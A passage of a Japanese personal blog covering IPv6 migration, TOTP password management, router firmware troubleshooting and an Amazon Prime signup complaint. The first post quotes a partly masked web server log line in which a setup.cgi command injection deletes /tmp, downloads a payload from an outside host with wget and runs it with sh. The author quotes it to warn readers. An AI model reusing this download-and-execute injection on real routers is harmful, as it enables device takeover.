昨日、v6関係がうまく行っているかとwebサーバのアクセスログを見ていたら、偶然、何やら怖いものが目に入った(かなり伏せている)。

1ww.1xx.yy.zz - - [01/Dec/2020:AA:BB:CC +0900]
"GET /setup.cgi?next_file=!!!!!!!.cfg&todo=syscmd&
cmd=rm+-rf+/tmp/*;
wget+http://1ww.1xx.yy.zz:vvvvv+-O+/tmp/!!!!!!!;
sh+!!!!!!!&cur***=/&cur@@@@.htm=1 HTTP/1.0"

問題はcmd=...以降の部分で、最初は、これはひょっとして、"cmd=rm+-rf+/"(全ファイルの削除)でも行けるのではないかと思った。ただ、そうしてもルータが次回起動しなくなるだけだが、今見直すと、そのあとにwgetで外からファイルを送り込んで、sh以降でそれを実行していることに気付いた。

まあ、これは本当にルータの初期化とかファームウェアの更新の手順なのかも知れないが、乗っ取りにも使えそうではないか。そもそも、なぜ初期化とかのコマンドがこっちに来たんだ? 怖い・・・ (ちなみに、IPアドレスはC国だった)

とんでもないことができる、大穴の開いた製品だ。調べてみると、そのメーカー(海外のN社)のルータは結構前から今まで、脆弱性が沢山報告されているようだ。

今度買う時は、そういうことも調べないと安心できないな。

  •  2
  •  0

少し前の話だが、2要素認証のワンタイムパスワード(TOTP)生成用のアプリAuthyを止めた。それ自体は便利だったのだが、Linux版が嫌いなSnapというソフト配布システムを使っていて、Snapを止めるために止めることにした。

乗り換え先のアプリを検討したが、Authyのように、LinuxとAndoroidで動いてTOTP生成用データを共有・共用できるアプリはなかった。ただ、パスワードマネージャのKeePassXC(Linux)とKeePassDX(Android)はTOTPに対応しており、それらはクラウド経由でデータが共有できるので、使えそうなことが分かった。

一方、同じアプリでパスワードとTOTPを管理するのでは、2要素認証の意味がなくなって脆弱な気がしたので、次の方針にした。

KeePassXCとKeePassDXでパスワードとTOTPを管理するが、マスターパスワードの異なる別のDBに格納する。

そのため、実際のログイン時の操作は少し面倒で、以下のようになる。

  1. パスワードのDBを開き(パスワードDBのマスターパスワードを入れる)、目的のサイトなどにユーザ名とパスワードを入力する。
  2. 2要素認証のサイトではTOTPのDBを開き(TOTP DBのマスターパスワードを入れる)、目的のサイトなどにTOTPをコピー・ペーストする。

マスターパスワードが増えて なかなか面倒だ(その他にもPCやサーバのログインなどのパスワードがあり(これらもDBに入っては居るが、開くのが面倒なので覚えている)、記憶の上限に近くなっていて、時々こんがらがる)。Linux対応の指紋読み取り装置があれば使えるだろうか? 他にもっと便利な仕組みはあるだろうか?

近頃はFIDOとかいうのが有名だが、名前しか知らない。 → LinuxではYubiKeyというのが使えるそうだ。それを買うのもいいが、スマフォの指紋読み取りシステム・デバイスをLinuxにも使えれば手軽でいいが・・・ (これはおもしろそうだが、セキュリティ的にはどうなんだろうか? それに、きっと「root化」しないと無理だろう。)

なお、Andoroidには(TOTPには対応していないが)上記のアプリとDBが共用できるKeepass2Androidというパスワードマネージャもある(KeePassDXの前に使っていた)ので、パスワードはKeepass2Androidで、TOTPはKeePassDXでアクセスすることにして、アプリ内でDBを切り替える手間を省いた(KeePassDXは切り替えが面倒)。それから、Andoroidでは指紋認証でDBが開けるのでLinuxよりは楽だ。ただ、指紋を共用することで2要素認証の意味がなくなる気がしないでもないことに今気付いたが、どうなんだろう?

 

それから、以前も書いたが、Authyはデータをエクスポートできないので、移行する際は、Authyに登録している全部のサイトのTOTPを設定し直す手間があった。また、退会を申し込んでも30日間は保留され、毎週リマインダのメールが来るのが結構鬱陶しい。

  •  2
  •  0

今朝、Amazonでノンアルコールビール(今回はホッピーの黒にした)を注文したら、「プライムを無料でお試しに−」とかなんとか出たので、「また いつもの無料試用か」と思い、いつもはそんなに使わないからパスするが、今回は「折角だから」と申し込んだ。もちろん、入る時に「会費が*円掛かります」という確認はなかった(ボタンを押すだけ)が、何となく様子が違う感じで(何が違うとかはなくて、直感的なもの)、確かめたら、1か月500円の有料会員になっていた。(そんなプランがあったのか??)

確かに「無料」と見た気がするが、「(有料の)プライムに入れば、(そのうえで普段は有料の何かの追加サービスが)無料になる」ってことだったのかと、今は想像している。ただ、そのキャプチャはないし、下記のようにサポートに聞いても教えてくれなかったので、真相は藪の中だ。

「ぐぇー、失敗した」と思った。無料試用ってのは見間違いだったのかと思い、年会費と違って高くないので我慢しようと思った。が、やっぱり気分が悪いので、少ししてから、サポートに問い合わせた。チャットか電話しかなく、メールと違ってどっちも疲れるから嫌いなのだが、チャットにした。

相手は良く分かっていない感じで、30分くらい掛かってキャンセルできた。最後は「システムの間違いのようだ」とか言っていた(僕が騙された「無料試用」は、実際にはどういうメッセージを出したのか聞いたが、それについての回答はなく、システムのせいにしていた)。

チャットでムカついたのは、終わったら(話が終わったら、相手が一方的に終えたのもちょっと嫌だった)、それまでの対話の記録が消えてしまったことだ。証拠を残そうとキャプチャしようと思っていたのに、なくなってしまった。もしかしたら会員ページ(これも間違えやすいから嫌だ)から開けるのかも知れないが、わざわざ消すことにないのにと思う。チャットなら残ると思って安心していたのに。

まあ、Amazonは、近頃はいろいろなところが随分劣化したようだ。作っている人が変わったのかね・・・ そう言えば、全く関係はないが、AWSも頻繁に障害を起こしているから、Amazonが全体的に劣化しているのは確かそうだ。

ちなみに、ネット(の一部)では「Amazon終了・ヨドバシ最強」が定説になりつつあり、そのうえ、一般向け記事でも「ヨドバシは いい」みたいなのが出ていて、ということは そのうちヨドバシも駄目になりそう(例: 送料有料化)で、ちょっと嫌だ。

 

最後に:

Amazonの「無料」オファーには充分注意しましょう。あれは日本語じゃないので、落とし穴がないか十回くらい確認しましょう。

入る前にサポートに意味を確認するのがいいかも・・・

 

PS. ホッピーはもちろんヨドバシに注文した。少しくらい高くても、書いてあることが理解できて、騙される心配がないほうがいいに決まっている。以前からAmaとヨドをふらふらしているが、まあ、適応的にダイナミックに選択してるってことでw 転がる石には苔が生えないって言うしねwww

  •  1
  •  0

起こりうる問題の検討と対処が終わったので、このドメインをIPv4/v6両対応にしました。当然ながら、このブログも両方対応です。

とは言え、アクセスする側からは何も変化はありません(何もする必要もないです)。あったら駄目ですw IPv6が使えて、IPv4より優先されているクライアントからは、IPv6でアクセスされます。もし問題がありましたら、お知らせ下さい。

なお、確認のため、当面、ブログのページ最下部にサーバとクライアントのIPアドレスを表示するようにしています。アドレスがなんか見慣れなくて : が含まれている場合はIPv6で繋がっています。

 

PS. やっぱり、個人的には、鳴り物*も、したり顔でユーザーに押し付ける下らねえ作業(例: 良く、「Aにしたら最初にすること10個」みたいなクソページにある、「AではBはこうする」)もなしの、「気付いたら なってた」ってのが一番いい。(v6追加なんて全然ローンチじゃないが※、)「シームレスローンチ」とでも言うのだろうか?

*ファンファーレ、「パフパフ」、「ドンドン」とかティーザーとかカウントダウンとかシャンパンとかクラッカーとか花火? それはそれで面白そうだwww

※もちろん、日本語で「ローンチ」って言うのすら嫌いで、ここに書くのも嫌だったw そういう人たちとは住む世界が違うと思っている。

そういう意味では、IPv6はなかなかうまいことやっている(運がいい)。IPv6自体は全くうまくなかったが、手をこまねいているうちにOSなどが対応していて、日本に限ってだが、フレッツのPPPoEがクソになったという無関係な方向から圧力が掛かって、意外にうまい具合に移行が進んでいる感じだ(棚ぼた?)。

こんなの、当時は全然思ってもいなかったw (「こんな複雑なの、永遠に使われねーよ」と思って居た。: まあ、先見の明がなかったな)

  •  2
  •  0

サーバのIPv6対応の一環でブログ関係の対応チェックと調整をしたついでに、ページ表示が遅いのを改善してみた。

実は、今までにも、MySQLの調整をしてわずかに速くなった「気が」していたw

無駄な処理やコメントを省いたら、気のせいか少し速くなった。

それから ちょっと調べたら、想像どおり、OGP(Open Graph Protocol, 説明)の画像の読み込みでの遅れがかなり効いていたので、LazyLoadというプラグインを使って画像を遅延読み込みにした。スクロールさせると画像がワラワラ出るのは個人的には余り好きでないが、遅いよりは良かろう。

最初は、画像が大き過ぎる場合(OGPに幅1000画素以上とかサイズ数MBの画像が指定されている、馬鹿みたいなサイトが多い)は使わないことを考えたが、画像のサイズを取得する時に読み込むので速くならない。

あと、OGPの処理(+画像取得・表示)をJS(= ブラウザ)にやらせて非同期にすれば綺麗だしかっこいいし軽い(仕事を押し付けられたブラウザにすれば迷惑かもw)が、JSは苦手でなかなか面倒なので※、上記の遅延読み込みにして、結果的に非同期に近くなるようにした。

※探せば、OGPを上記のようにJSでやるようなプラグインがあるかも知れない。 → ちょっと探した限りでは、なさそうだ。

そうしたら随分速くなって、今までは最初に表示する時は1秒を超えることがほとんどだったのに、新しいページなら0.3秒くらいで出るようになった。まあ、処理を後回しにしているので当たり前ではあるが、余り手間を掛けずに3倍速くなったw

(12/2 18:41) その後、やっぱり遅いことがあることが分かった。1秒以上掛かることがある。画像の遅延読み込みでOGPは速くなっても、MySQLが遅い場合がありそうだ。別のDBに換えたいが、なかなかいいものがない・・・

  •  0
  •  0

Ceronに出ていて読んだら、爆笑した上に感心した。

宮崎駿が38歳で監督デビューした時の鬼畜エピソードクソワロタwwwwwww

彼のことはほとんど知らない(し、作品を好きでもなかった)が、読む限り(あと、あの老舗K書店のトップをクビになった太ったお兄さんを一喝した件も合わせて)、こういう人は「ジジイ」ではあるが、きっと、「老害」ではなさそうだ。

全くの想像だが、スズキの爺さんも近そうだ。

でも、一緒に居たら、きっとムカつくだろうから、「うるせージジイ!」って言いそうだw

 

(と、無事にネタを消化。今日のネタは今日消化する、まさに、地産地消。じゃないかw)

  •  0
  •  0

(題は微妙に違うかも。題と「毒を喰らわば−」と「背に腹は−」を足して3で割った感じかw)

先日の、IPv4(以下v4)だけがネットに繋がらなくなったトラブルの予防的対処のため、仕方なく、IPv6(以下v6)が使えるところは使って行くことにした。

いや、僕はそんな仕様はどっちでも良くて、そもそも「アドレス枯渇する・した」とか「遅いからv6にする」なんてのがおかしいと思って居るので、積極的にIPv6を使う気持ちはさらさらなかったのだが、ああいうトラブルがあると、さすがに全面移行とまでは行かないが、代替手段を用意して可用性を高めておく必要性を痛感したのだ。※ それが無料(自分の時間は別)で実現できるし、各アプリ・プロセスの通信速度が向上・安定する可能性がある(といっても、IPoEにしてから全体でも個々でも速度が遅いと感じたことはほとんどないが)から、まあ悪い話ではない。

※そもそも、可用性を高めることが必要なことをしているかどうかは別でw、「気分の問題」であろう。

それで、まずは、自分のサーバから始めた。サーバは、プロバイダがv6対応の環境で提供してくれていて、OSも対応しているので、設定すれば使える状態だったが、面倒なので今までは有効にしていなかった。

最初にサーバのv6関係の設定をした。普通にできて、デスクトップPCからpingが通った(v6のアドレスを直接指定した)。試しにwebサーバにアクセスしてみたが、通らなかった。Webサーバの設定をしていないので、v6では接続を受け付けていないためだ。

次に、設定を誤ると面倒なことになるwebサーバの、比較的単純な部分をv6対応の設定にした。試しにブラウザからv6のアドレスでアクセスしたら、例によって「怪しいサーバです。これ以上は駄目よんw」みたいなのが返って来て(HTTPSでSSL証明書がおかしいため)、めでたく繋がった。

それからDNSサーバにv6用のホスト名(サブドメイン)を登録した。今はv4とv6のホスト名を共通化する(同じ名前で両方に対応)のが一般的だろうが、予期できないさまざまな問題が起こりそうだったので(実際に問題は起こった(後述))、ひとまず別にした。作業としては、v6用のサブドメインにAAAAレコードだけを設定した。設定してから数分で反映され、ホスト名の検索(nslookupコマンドなど)に出るようになった。

次に、HTTPSをちゃんと使えるようにするために、Let's EncryptのSSL証明書にv6用のサブドメインを追加した。証明書の生成時にサーバの設定の調整が必要だった。証明書を作る時には、確認のためそのサーバにアクセスされるのだが、それを忘れていてwebサーバはHTTPSだけ有効にしていたが、真っ当な証明書(これを作ろうとしている!)がないのでアクセスされず、HTTP接続しようとして失敗した。それで、仕方なくHTTPも有効にして、無事(でもないけど)作れた。新しい証明書を作ってからブラウザでアクセスしてみたら、ちゃんと"404 Not found"が返って来た。

設定が複雑なので間違うと面倒なことになるブログは落ち着いてからにすることにして、まずは、普通のweb(BNoteを含む)とDAV(カレンダー・アドレス帳やJoplinで使っている)をv6対応にすることにした。とは言え、webサーバに関しては証明書を作るために調整してほとんど出来ているので、DAVサーバやクライアントアプリなどの設定変更や追加がほとんどだった。クライアント側の機器やアプリが多いので手間は掛かったものの、ほとんど問題なく終わり、ちゃんとv6でアクセスできるようになった。

とりあえずできたので、しばらく使って問題がないかをチェックすることにした。使っているうちに、以前から気になって居た、v6のプライバシーの問題※の解決策が見付かった。デスクトップPC(Linux)のv6の設定に、"IPv6 privacy extensions"というものがあるのに気付き、調べてみたら、僕の懸念を解消できそうなものだった。

※IPv6のアドレスは全世界でユニーク(かつ、不変なものもある)なので、そのクライアント(PCなど)からアクセスしている個人の特定や追跡が容易そうだという僕の懸念。

その機能を有効にし、モードを"Prefer temp. addr."にしたら、PCのv6のアドレスが増えた。今までのもの(通常のグローバルアドレス)に加え、一時アドレスが表示されている。このアドレスは通常のアドレスより秘匿性(?)が高いらしく、また、定期的に(1日-1週間のようだ※)変わるので、個人の特定や追跡が困難になるとのことだ。

※設定後1日経った今現在でもアドレスが変わっていないので、しばらくは観察する必要がありそうだ。 → 忘れると嫌なので、愛用のcrontabで自動チェックするようにした。

→ (12/2 19:35) 昨日くらいからアドレスが変わるようになった。大体30時間で変わった。設定変更後、OSの再起動またはNW IFの切断と再接続が必要だったようだ。

ただ、これには欠点もある。アドレスがコロコロ変わるので、僕がサーバのログを見て、本当に自分でアクセスしたのか分からないということだ。でもまあ、他の情報から判別できるし、プライバシーの問題の方が重要なので、Privacy extensionsを使うことにした。

一方、Androidはその点はどうなのかと調べたら、結果的には問題なさそうだ。rootになれないのでprivacy extensionsを有効にしたりすることはできないが、挙動を調べたら、v6アドレスが結構頻繁に変化することが分かった。

そもそも、Androidスマフォには2つ(以上)のv6アドレスがある。モバイル(LTE)とWi-Fiである。モバイルは、詳しいタイミングは分からないが、基地局に接続するたび(基地局が変わるたび?)に変わるようだ(機内モードをon/offした前後でアドレスが変わっていた)。Wi-Fiも同様に、APに接続するたびに変わる。

だから、僕の観察が間違っていなければ、Androidに関しても、v6で概ね問題なさそうだということになった。

なお、僕のスマフォ(AQUOS sense lite)はAPN登録時にはv6は無効になっていたが、APN設定でv4/v6のモードに切り替えたら、v6が使えるようになった。MVNOの場合、プロバイダによってはv6が使えないことがあるらしいが、僕は(IIJが下回りらしい)イオンモバイルで、全く問題なく使えた。

随分調子良かったので、このあともこの調子でスルッと行くかと思って気を良くして居たが、やっぱり、そうは問屋が卸してくれなかった。問屋というのは そんなに厳しいのだろうか?w 作業面での手間はなかったが、原因不明で解決が難しそうな問題が残っている。

切っ掛けは、欲を出して早くも(サブ)ドメインをv4/v6両用にしたくなって、v6用に作ったものをそうしてみたところ、一見うまく動いているのだが、Joplinだけがおかしかったことだ。本来の動作は全く問題ないのだが、なぜかサーバのv4のアドレスにアクセスしてしまうのだ。PCのOS(Linux)のv4とv6の優先順位がおかしいせいだろうと考えて、いろいろ調べて調整しても、結局直らなかった。

それで、Joplinのフォーラムに質問を出しつつ、更にJoplinのソースなどを調べたら、確定はできないが、どうやらJoplinの下回りのNode.jsのnode-fetchという通信用モジュールの仕様(または「現状」)によるのではないかと推測している。というのはnode-fetchのcustom agentオプションのうち、v4とv6の切り替えに関係するfamilyは、socket.connectによって以下のように規定されている。

family <number>: Version of IP stack. Must be 4, 6, or 0. The value 0 indicates that both IPv4 and IPv6 addresses are allowed. Default: 0.

字義通り解釈すれば、デフォルトの0で、v4/v6どちらも使える場合に、どちらが使われるか不明(不定)だ。※ 「普通」ならOSの優先順位(Linuxではv6が優先)と同じになると期待するが、実際の動作はそうではない。もちろん、Joplinに「v4優先」という意思や仕様があれば別だが、そうする理由は全くない。また、familyには優先順位が指定できないので、「v4優先」を実装するのは面倒だ。

※Node.jsのそこのソースを読めば分かるだろうが、なかなか面倒だ。一体、Joplinから何階層下がらせるつもりだ!?w

そこで想像してみると、OSまたはシステムコールまたはライブラリからホスト名に対応するIPアドレス一覧を得たあと、familyが0以外ならv4かv6でフィルタリングする。そして、残ったものを使う。複数あっても気にせず、「最初の1個」を使うのだろう。

結局、OSなどからどういうふうにIPアドレス一覧が来るかが問題だ。どうも、単にソートされているだけのような気がする。その場合、v4が先に来る可能性が高そうだ。 (まあ、余計なこと考えてないで、実物を読めば速いのだがw)

(11/29 0:01) 書いた後で更に調査・実験して、ほぼ原因が分かった。Node.jsのDNSモジュールのdns.lookupという関数は、ホスト名からIPアドレスを取得する(これをnode-fetchが使っているかは未確認だが、おそらく使っていると思う)。そのデフォルトの動作はDNSリゾルバの結果をv4のアドレスをv6より先に並べ替えて出すため、Joplinはv4/v6両用ホストに対しては(Linuxの標準・通常動作とは逆に)v4のアドレスにアクセスする。参考のため、dns.lookupの設定を行うオプションverbatimの説明を引用する。

verbatim <boolean> When true, the callback receives IPv4 and IPv6 addresses in the order the DNS resolver returned them. When false, IPv4 addresses are placed before IPv6 addresses. Default: currently false (addresses are reordered) but this is expected to change in the not too distant future. New code should use { verbatim: true }.

確認のため、簡単なプログラム(→ 参照: そのページ下部の"Live Demo"から開けるOnline Node Compilerが便利。ただし、そこではDNS検索は失敗してしまう)で、dns.lookupをv4/v6両用ドメインに対して実行したら、本当にv4アドレスが返って来た。そして、オプションを追加してverbatimをtrueにして実行したらv6アドレスが返って来た。。。

どういう理由か知らない(IPv6の実装が今一つだった頃からの経緯?)が、折角OSが苦労して(そのうえ、ユーザから文句を言われたであろう: )RFCに準拠して並べ替えたIPアドレスを、ライブラリごときが勝手に並べ替えてしまうなんて、余計なお世話もいいとこだ! 上の説明に「近い将来は逆になる」と書いてあるが、現行版ですらこの勝手な動作なので、当面は直りそうにない。ということは、Joplinの問題も直りそうにない。

直すとすれば、自分でNode.jsに手を入れることだろうが、そもそもビルド環境を作るのが面倒だ。更に、Node.jsは結構更新されそうなので、僕の修正を残すようにするのが難しい(でも、できれば爽快だろうな・・・)。

(11/29 12:57) 直し方を検討したが、「まあ不可能」という結論になった。まず、dns.lookup(DNSモジュール)はNodeに埋め込まれている(コンパイルされているようなので、パッチはまずできない。さらに、NodeはJoplinに埋め込まれている)ので、Node(この場合、Joplinも)をビルドし直さない限り入れ替えられない。

次に、dns.lookupは最終的にはLinuxのgetaddrinfo()を呼ぶが、これはlibcまたはlibnssに入っているようで(未確認)、どちらも大変基本的なライブラリなので安易には改造できない。うまくしてライブラリとNodeの間に割り込めばいいが、さすがに、いくら暇でもクソのためにそんな面倒なことはやってられない。

ってことで、気に入らないけど我慢するのがベストだ。

 

てな訳で、別に大きな問題ではないが、喉に魚の小骨が刺さったような気持ち悪さが残っている。しかし、そもそも論とか現実問題としては全く問題ない。というのは、最初に書いたように、v4が使えなくなった時の代替手段が欲しかった。そして、この仕様では、v4が駄目になったら自動でv6に切り替わる(正確には、アクセスする時に、生きているであろうv6が使われる)はずだからだ。

が、通信速度の向上・安定化とか、前回書いた、JPNEのMAP-Eのv4のポート数の上限の問題も改善したいという欲があるので、気に入らない。それで、今は、v6用に作ったドメインをやっぱりv6専用に戻して使っている(他の方にすれば「は?」って感じだろう)。

まあ、(気分は悪いが、)自分用サーバはv6専用でも何も問題ないから、このままでもいいかという気はしている。一つだけ問題が起こる可能性としては、何らかのトラブルでv6だけ通らなくなった場合にアクセスできなくなることだ(そんなことが本当に起こるのか、検討の余地はあるw ただ、ルータ故障時にv6非対応の物に交換したらそうなる)。その時はv4/v6両用の方がいい。ということは、そもそも論で言えば、v4/v6両用にして、Joplin(と他のNode.jsのアプリ?)だけはv4でも見逃すべきなのだろう。もう少し考えよう。

→ 全体的には、しばらくv6用ドメインで試して問題なければ、基本ドメインをv4/v6両用に変更し、v6用ドメインに換えた自分用サーバを使っているアプリの宛先をそっちに戻すのが一番美しそうだ。多くのアプリの設定を戻すのは手間だが、これなら、v6用ドメインは本当にv6用で筋がとおるし、基本ドメインはv4/v6両用で今風になるし、可用性も高まるから、いいことづくめだ。 (本当に?w)

それから、Joplinと似たような問題がEvolution(メーラー)でも起こった。通常時はv6をアクセスするのだが、スリープからの復帰後にv4に戻ってしまうのだ。どうやら、Linuxの動作なのだろうが、復帰時にv6が使えるようになるのが少し遅れるようで、※その関係で先に使えるようになったv4にアクセスしてしまうようだ。

※推測だが、v6の初期化の処理が多いために遅くなるのかも知れない。確かに、普通の処理(v6アドレスの取得・調整?)ですら重そうだし、上に書いたPrivacy extensionsは複雑そうだ。そういう処理はv4には全くないので、時間差ができても不思議はない。

それで、効果確認中だが、Evolutionのネットの設定の"Method to detect online state"を"Always online"にして試している(今まではNet Managerから取得するようにしていた)。これは他の普通のアプリと同じ動作(ネットの状態には関知しない)と考えられるから、一旦v6にアクセスしたら、そのまま使い続けることが期待できる。気になるのは起動時で、その時にv4だったら嫌だから、ログイン時の自動起動では数秒送らせて起動するようにした(ログイン時はスリープと違ってOSは普通に起動しているので、必要ない気もするが・・・)。

 

最後に、v6化した効果というのか、v4のポート数の削減率を調べたところ、当然ながらあった。僕のサーバ以外にもv6対応のサーバ・サイト(例: メールサーバ)があるため、アイドル時(例: Webブラウズしていない時)のv4のポート数が半分くらいに減り、その分がv6になった。以下に例を示す。

デスクトップPCで使っているTCPの全ポート数

  • アイドル時
    • v4: 15
    • v6: 15
  • アクティブ時
    • v4: 38
    • v6: 14

デスクトップPCで使っているTCPのポート数(自分用サーバとプロバイダのメールサーバ宛のもの)

  • アイドル時
    • v4: 3
    • v6: 10
  • アクティブ時
    • v4: 15
    • v6: 10

v6を使わない場合に比べ、v4率は、全ポートでは約27-50%減少し、自分用サーバなどに関しては約40-77%減少した。

とはいえ、もちろん、「Webの表示やJoplinの同期が倍速になった!」とかいうことは全くないw

 

という訳で、少し前までは使いたくもなかったIPv6を頼まれてもいないのにゴリゴリ使うことになって、いつものように疲れたでござるw

  •  0
  •  0

今朝、PCを起動したら、いきなりメールがエラーの山になった。ブラウザの各タブも軒並みエラーになった。調べたらネットが繋がっていなかった。「やれやれ」と とりあえずルータを再起動しても直らず、VDSLモデムを再起動しても直らなかったので、ちょっと慌てた。ルータの表示やログにはエラーは出ていなかった。

それで、スマフォ(LTE)でプロバイダ(DTI光)に問い合わせを出した。※ が、まあ、ルータの故障の可能性が高いので、プロバイダに問題がない場合は、一時的にPPPoEに戻してもらって古いルータに交換して、修理依頼しようと思った。

※案の定、サポートのページはPC前提のようで、文字が小さくて見にくいのはいいとしても、なぜか、問い合わせの文字を入れると全体の高さが増えて、フォームの下にある送信のボタンが隠れて送れない(ChromeとOperaどちらも)という謎仕様だった。仕方ないので、非会員用のフォームから送った(なぜか、こちらはまともだった)。

もちろんこれで諦める訳でもなくw、もう少し調べたら、IPv6(以下、v6)のサイト(例: v6対応のDNSサーバ, JPNEのIPv6チェック, Googleニュース(ただ、内容が古い), FASTの速度測定)には繋がった。

あと、DTIのサポートサイトも実はv6で繋がるので、上記のようにスマフォで苦労して入力する必要はなかったが、その時は分からなかった。

ちなみに、v6で繋がるかは、Linuxだとnslookupコマンドやhostコマンドで分かる。対応している場合はv6アドレスが出る。ただ、v4でもv6でも繋がらない場合は、そもそも何も出ない。

それで更に調べたら、ルータ(I/Oデータ WN-SX300GR)のファームウェア(以下、ファーム)が今月頭に自動更新されていたことが分かった。それから、今朝(3時頃)、プロバイダが障害を起こしていた。

偶然の一致だとは思うが、丁度その少し前(2:52)からAWS(US)が障害を起こしていた。もし関係しているとすれば、IPv4関係のサーバにAWSを使っているのだろうか。 (18:19)

ということは、プロバイダの障害対応に問題があった可能性はわずかにあるものの、ルータの新しいファームがおかしい可能性が高いので、一つ前のに戻してみることにした。すると、嘘のように問題なく繋がるようになった。

ファームを戻すのに、ルータの「初期化」でできるのか分からなかったので、スマフォでダウンロードした。それをUSBでPCに送り(ネットが駄目なので、最初はどうしたものかと思ったw)、EXE形式だったので※、一旦VirtualBoxのWindowsで展開してルータに入れた。

※それにしても、なぜ、単に展開(「解凍」)するだけのものをEXEにするのか意味不明だ。普通にZIPで圧縮すればいいものを・・・ (もしかして、外部ツールを使わずに展開できるようにしたのか)

しかも、笑える(笑えない)のは、そのEXE(EXEpressというもので作ったらしい)の方が中身のファームより大きいことだ。圧縮の意味はなく、単にreadme.txtを同梱したかっただけのようだ・・・ やっぱり、今話題の「暗号化ZIP付きメール」みたいなものだ。

ということは、プロバイダ(実際にはJPNE?)の障害対応で あちらの機器を再起動したので、ルータも接続処理を最初から始めようとして、そのネゴシエーション時にバグとか相性が発現して駄目になったのではないだろうか。だから、新しいファームになってから こちらのルータを再起動したら駄目だったはずだ。

書いたあとで気付いたが、ファームの自動更新後にルータは再起動するはずで、その時に問題が出なかったのは腑に落ちない。プロバイダ側にも、近頃や今回何か変わったなど、問題の原因があるのかも知れない。いまだに回答が来ないので、何とも言えないが。 (18:22)

プロバイダの回答にもよるが、まあ、向こうの機器がおかしかったらもっと大量の苦情が出るはずだから、このルータの問題だろう。時間が経ってから問題が出るのは怖い。とりあえず、ファームの自動更新はoffにした。

でも、他の人は大丈夫なのだろうか? 問題が出ていないのかユーザが少ないのか、これから出るのか(「全然繋がらない」、「突然壊れた」?)。プロバイダの回答が来たら、ルータのメーカーに連絡しようと思う。

プロバイダから回答があり、今回は設定の変更などはないとのこと。上記のように腑に落ちない点はあり、もしかしたら、(今回でなく)近頃変わった可能性はわずかにあるが、90%以上はルータ側の問題だろう。

って訳で、やっぱり時限爆弾だったようだ。 (18:40)

(22:02) ルータのv4通信が駄目になったことの遠因として考えられるのは、上にも書いたようにAWSの障害だ。Downdetectorグラフ(リンク先はキャプチャ)を見ると、ルータがおかしかった9時頃には日本からの報告が最初のピークになっている。ということは、落ちたAWSに国内からアクセスしている端末が頻繁にリトライを繰り返してフレッツ網が重くなったために、ルータのv4通信が正常に動かなくなってしまった可能性がある。実際、14時頃に速度を測定したら、遅いうえに変動が激しかった。ただ、リトライでそこまで通信量が増えるとは考えにくい。それとも、通信量でなくセッション数がオーバーして駄目になったのだろうか。IPoEのIPv4はそれがないはずだが・・・

(22:58) 寝ようとして もう一個思い付いた。IPoEのIPv4はMAP-Eで、今のプロバイダはJPNEを使っているので、ルータ当たりで使用可能なポート数は225個である。以前検討して通常時は問題ないとしたが、今回は、PC起動時には全く接続できない状態だったため、PCとスマフォからのリトライが多発してポート数が足りなくなって、接続できない状態が続いたのかも知れない。確かに、ルータを再起動した直後の短時間(1分間程度)は通信できていたがすぐに駄目になった。通信が回復した途端に多くのプロセスが通信し出して、また駄目になっていたのかも知れない。特に、ブラウザは多くのタブがあるので、一度に通信し出したらとんでもないことになる。

最初のPC起動時に駄目だった理由は分からないが、ポート数の問題だとすれば、しばらく(結構長い)待てば回復するはずで、それが丁度、ファームを古いものに戻した頃だったのかも知れない。

最初のPC起動時に駄目だった理由として考えられることは、新しいファームは微妙にタイムアウトが短いなどネット(フレッツ網)の輻輳に弱いためかも知れない。

ポート数の問題だったかは、ファームを再度最新にして試すか、今のファームでも、ルータをモデムから切り離してしばらくしてからPCを起動すれば分かるが、どちらもなかなか面倒だ。 → 後者を寝る前に試す。

(11/27 5:49) 完全に同じ状況ではないが、ポート数不足は起こらなそうだ。PCの起動時に一番多いのはメーラー(Evolution)のIMAPでのメール取得で、ブラウザは自分でリロードなどしない限りは接続しない。メール取得中にブラウザでいろいろ開いた時の使用ポート数は81だったから、余裕がある。一方、スマフォはしばらくWi-Fi経由で接続できないと自動で無効にするようなので、接続再開時に一気に接続が増えることはなさそうだ。

つまり、何らかの原因でルータのファームとプロバイダとの相性のようなものが発現した可能性が高い。それをメーカーに指摘しても、大抵は分からず仕舞いな気がする。

それで、ポート数不足の予防や同じ問題が起こった場合に何もできない事態を減らす事前対処として、なるべくv4での接続を減らすようにした。具体的には、Evolutionの各IMAPアカウントの同時接続数を1に減らし、使っているメールサーバ(さくらのメールボックス)のv6対応をonにした(知らなかったが、そういう設定があった)。あと、バックアップに使っているオンラインストレージBackblaze B2もv6対応しているようだが、バックアップソフトduplicacyは使わないようだ。積極的に使わないのでなく、APIで指定されたホストがv4なのかと想像している。※

※近頃のログを見たらいつも同じホストなので、もしかしたら、最初にバケット(記憶領域)を作った時にホストが決まり、それがv4のみに対応しているのかも知れない(ストレージは容易に移動できないので、その可能性が高い)。今後の対応に期待したい。

 

それにしても、僕にとってはネットはライフラインであることを再認識した。今回はスマフォがあって良かったが、もしなかったら、本当に にっちもさっちも行かなかった(電話じゃファームのダウンロードなんてできない!)。だから、無駄なようだけど二重化は意味がある。

そして、そういうすごく重要なところに安いルータを使っているのは良くないことに気付いた。十年近く使えるのだから、1-2万円くらいのにしても良さそうだった。※ が、時既に遅しだ。それに、国内のN社は評判はいいけど(近頃は微妙な感じ)好きじゃないし、Y社はすっごく高いしWi-Fiのはないからな。まあ、問題が頻発したら交換を考えよう。

※思い出した。当時はv6にする効果(高速化)に疑問があったので、とりあえず試すために安い物を買ったのだ。今はv6でないと使い物にならないので、次は高目のものを買えばいい。

 

PS. 今回、意外にIPv6対応のサイトが少ないのを実感した。Googleはまあ優等生だが、tenki.jpとかYahoo!天気など、いかにも対応してそうなところが駄目だった。そもそも このブログも駄目だしw

あと、こういう時のために自前でv6→v4変換サービス(プロキシみたいなもの)を作りたくなったが、なかなか面倒だし、今回のようにv4だけ駄目っていう障害は稀だろうし、ファームを戻したら回復したので、早くも「喉元過ぎれば」となって「また今度」にしたw

でも、意味があるかは疑問だが、とりあえずこのサーバをv6対応にしたい気もしている。

PS2. ネットが駄目な状況でもJoplinは問題なく使えたので、感心した。PCからもスマフォからも何事もなく読み書き出来(もちろん、同じノートは同時に変更していない)、ネットが繋がったら普通に同期した。某Evernote(web)ではエラーが出て使い物にならなかっただろう。

  •  0
  •  0

